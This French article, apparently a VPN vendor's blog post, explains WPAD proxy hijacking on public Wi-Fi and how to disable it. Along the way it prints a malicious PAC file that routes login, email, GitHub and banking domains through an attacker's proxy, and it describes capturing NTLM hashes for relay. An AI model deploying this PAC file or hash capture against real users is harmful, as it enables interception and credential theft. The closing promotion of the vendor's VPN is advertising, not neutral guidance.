Vous vous installez dans un café bondé d'une gare ferroviaire, vous connectez votre ordinateur portable au réseau Wi-Fi public gratuit et lancez votre navigateur pour consulter votre messagerie. Le cadenas habituel s'affiche fermement dans la barre d'adresses, attestant d'une session HTTPS chiffrée. Aucun avertissement de certificat SSL n'est apparu, vous n'avez installé aucun profil suspect et vous n'avez cliqué sur aucun lien douteux. En apparence, la sécurité semble irréprochable. Pourtant, sans la moindre notification à l'écran, votre système d'exploitation vient de télécharger un fichier de configuration JavaScript depuis une machine inconnue présente dans la même salle, a nommé cette machine serveur mandataire central pour vos connexions Web et a réorienté vos cookies de session directement vers la passerelle de surveillance d'un tiers.

Ce mode d'interception discret ne repose sur aucune faille critique zero-day ni sur le cassage de mots de passe. Il exploite un protocole ancien conçu à la fin des années 1990 qui demeure activé par défaut sur des centaines de millions d'ordinateurs : le protocole de découverte automatique de proxy Web (Web Proxy Auto-Discovery, WPAD).

Genèse architecturale : La commodité au détriment des frontières de confiance

Pour mesurer l'ampleur du risque engendré par WPAD sur les réseaux ouverts, il faut revenir aux raisons de son élaboration. Lors de la montée en puissance des réseaux d'entreprise à la fin des années 1990, les équipes d'administration système recherchaient un moyen simple d'ordonner aux postes clients d'acheminer leur trafic Web vers des serveurs mandataires internes (pour la mise en cache et le filtrage) sans exiger une configuration manuelle sur chaque terminal.

La spécification proposée sous forme de draft à l'IETF en 1999 a posé les bases d'un protocole fonctionnant presque exclusivement en arrière-plan. Dès qu'un poste se connecte à une nouvelle interface réseau, la pile de communication déclenche une séquence de requêtes afin de répondre à une question unique : "Où se trouve le fichier de configuration automatique de proxy (PAC) propre à ce réseau ?"

[ Poste de travail client ]
       |
       | 1. Requête DHCP Inform (Option 252) -> "Où se trouve wpad.dat ?"
       +---------------------------------------------> [ Passerelle réseau locale ]
       |                                                    (Aucune réponse)
       | 2. Requête DNS : wpad.local / wpad.cafe.internal
       +---------------------------------------------> [ Résolveur DNS local ]
       |                                                    (Réponse NXDOMAIN)
       | 3. Diffusion locale multidestinataire : LLMNR / NetBIOS "WPAD"
       +---------------------------------------------> [ Ensemble du sous-réseau Wi-Fi ]
                                                             |
                                                             v
                                               [ Machine hostile sur le même réseau ]
                                               (Répond : "Je suis WPAD ! Téléchargez mon fichier PAC !")

Le défaut structurel majeur réside dans la cascade de repli. Si la passerelle officielle ne répond pas, le terminal élargit progressivement le spectre de ses recherches, passant de requêtes directes à des annonces broadcast non authentifiées envoyées à l'ensemble du sous-réseau.

La cascade de repli : Une porte ouverte aux intercepteurs

Lorsque Windows ou les navigateurs de bureau recherchent la présence d'un mandataire, ils parcourent méthodiquement les étapes suivantes :

1. L'option DHCP 252

À l'attribution de l'adresse réseau, le client envoie un paquet DHCPINFORM demandant si le serveur local a configuré l'Option 252. Si elle est définie, celle-ci renvoie une URL pointant directement vers un fichier de paramétrage (comme http://192.168.1.1/wpad.dat). Cependant, les routeurs des lieux publics ne renseignent quasiment jamais cette option, provoquant l'échec immédiat du premier palier.

2. La résolution hiérarchique par DNS

En l'absence de réponse DHCP, le système tente de résoudre le nom d'hôte wpad en lui adjoignant les suffixes de recherche du réseau. Par exemple, si le suffixe attribué est corp.local, la machine interroge wpad.corp.local, puis wpad.local. Sur certains réseaux publics aux configurations approximatives, ce mécanisme peut aller jusqu'à interroger des domaines de premier niveau réels (comme wpad.com), entraînant une collision de noms aux répercussions documentées par le CERT/CC.

3. Les protocoles de diffusion locale LLMNR et NetBIOS

Si le DNS renvoie une absence de domaine (NXDOMAIN), le système bascule vers son mécanisme de dernier recours : la diffusion locale. L'ordinateur diffuse un appel UDP à l'ensemble des machines du Wi-Fi demandant : "Est-ce que quelqu'un sur ce réseau connaît l'adresse IP associée à WPAD ?"

Dans un environnement partagé, un attaquant utilisant des utilitaires d'écoute automatique comme Responder ou Inveigh capte instantanément ces trames. Dès que votre ordinateur émet son appel pour wpad, l'attaquant répond aussitôt : "Je suis wpad. Venez chercher votre fichier de configuration sur mon serveur HTTP à l'adresse 192.168.1.145/wpad.dat."

La machine victime accepte cette réponse illégitime, se connecte au serveur de l'attaquant, télécharge le fichier wpad.dat et applique sans délai les règles de redirection à l'ensemble du trafic du poste.

Anatomie d'un fichier PAC pirate : Une redirection ciblée

Un fichier PAC n'est pas une banale liste statique d'adresses, mais un programme JavaScript complet doté d'une fonction obligatoire : FindProxyForURL(url, host).

Avant chaque ouverture de session Web, cette fonction est exécutée par le système pour décider du traitement de la requête. Un attaquant configure cette logique avec une grande précision :

function FindProxyForURL(url, host) {
    // Les flux locaux sont transmis directement pour éviter tout soupçon
    if (isPlainHostName(host) || dnsDomainIs(host, ".local")) {
        return "DIRECT";
    }

    // Interception sélective des portails d'authentification et de messagerie
    if (dnsDomainIs(host, "login.microsoftonline.com") ||
        dnsDomainIs(host, "mail.google.com") ||
        dnsDomainIs(host, "github.com") ||
        shExpMatch(host, "*bank*")) {
        return "PROXY 192.168.1.145:8080; DIRECT";
    }

    // Le reste du trafic quotidien circule en direct
    return "DIRECT";
}

En réservant le passage par le mandataire pirate aux seuls domaines critiques et en laissant les flux secondaires s'écouler directement vers Internet, l'intercepteur préserve la fluidité de la connexion, évitant ainsi d'éveiller les soupçons de l'utilisateur.

Ce que l'attaquant intercepte

Dès lors que le trafic transite par ce relais intermédiaire :

  • Flux HTTP non chiffrés : Lisibles en clair, incluant les identifiants, les cookies de session et les pages consultées.
  • Connexions HTTPS chiffrées : Même si le contenu est protégé par TLS, le mandataire reçoit la négociation initiale HTTP CONNECT. Cela dévoile le nom de domaine de destination (SNI), le port employé, l'horodatage et le volume des données transmises.
  • Dégradation d'authentification et relais NTLM : De multiples processus système sous Windows tentent une authentification NTLM automatique auprès des serveurs mandataires. Un faux proxy WPAD peut exiger l'en-tête Proxy-Authenticate: NTLM, forçant le terminal à lui transmettre les empreintes de mots de passe pour un déchiffrement ultérieur ou des attaques par relais sur un domaine d'entreprise.

Mesures de protection : Désactiver le piège du proxy silencieux

Pour prémunir ses équipements contre les détournements liés à WPAD, il convient d'associer la neutralisation des paramètres système vulnérables à l'encapsulation chiffrée des flux réseau.

1. Désactiver la détection automatique du proxy dans le système

À moins d'évoluer au sein d'une organisation dont les règles informatiques imposent formellement WPAD, la recherche automatique doit être arrêtée :

  • Sous Windows 11 et 10 : Ouvrez les Paramètres, allez dans Réseau et Internet > Proxy. Dans la rubrique Configuration automatique du proxy, basculez le commutateur Détecter automatiquement les paramètres sur Désactivé.
  • Sous macOS : Ouvrez les Réglages Système, sélectionnez Réseau, cliquez sur l'interface Wi-Fi active, puis sur Détails > Proxys, et assurez-vous que Découverte automatique de proxy et Configuration automatique de proxy sont décochées.
  • Dans les navigateurs Web : Dans Firefox, rendez-vous dans Paramètres > Général > Paramètres réseau et cochez Pas de proxy ou utilisez les paramètres système déjà durcis.

2. Désactiver la résolution de noms LLMNR et NetBIOS

Bloquer la transmission des requêtes de diffusion locale prive les attaquants de la possibilité de forger de fausses réponses :

  • Ouvrez l'Éditeur de stratégie de groupe locale (gpedit.msc).
  • Naviguez vers Configuration ordinateur > Modèles d'administration > Réseau > Client DNS.
  • Double-cliquez sur Désactiver la résolution des noms multidiffusion et choisissez Activé.

3. Isolation totale du trafic avec VPNRice

Bien que la modification des réglages système soit indispensable, certaines applications autonomes ou services en arrière-plan peuvent ignorer ces options pour émettre leurs propres sondes. La ligne de défense la plus hermétique sur un réseau Wi-Fi public consiste à acheminer l'ensemble des données dans un tunnel chiffré géré par VPNRice.

L'activation de VPNRice au moyen de protocoles robustes tels que RiceGuard ou RiceGuardX neutralise les risques locaux :

  • Neutralisation des ruses de la passerelle locale : Chaque paquet quittant votre interface sans fil est scellé par chiffrement. Les faux serveurs DHCP et les dispositifs d'écoute locaux ne peuvent ni répondre à WPAD ni altérer le trajet des paquets.
  • Résolution DNS chiffrée et dédiée : Les demandes de noms sont expédiées directement vers les résolveurs privés et sécurisés de VPNRice, écartant les replis vers LLMNR et les empoisonnements de DNS locaux.
  • Isolation rigoureuse du poste : Le pare-feu intégré empêche toute interaction hostile avec les autres machines du Wi-Fi partagé, interdisant le déroutement des flux vers un relais d'interception.

Pour vous assurer que votre terminal ne divulgue aucune adresse interne à travers les mécanismes du navigateur, effectuez une vérification sur le test de fuite WebRTC de VPNRice et contrôlez votre adresse publique via notre outil de recherche d'adresse IP. La désactivation des protocoles d'auto-découverte obsolètes associée à la protection d'un VPN chiffré garantit la sérénité de vos sessions sur tout réseau Wi-Fi public.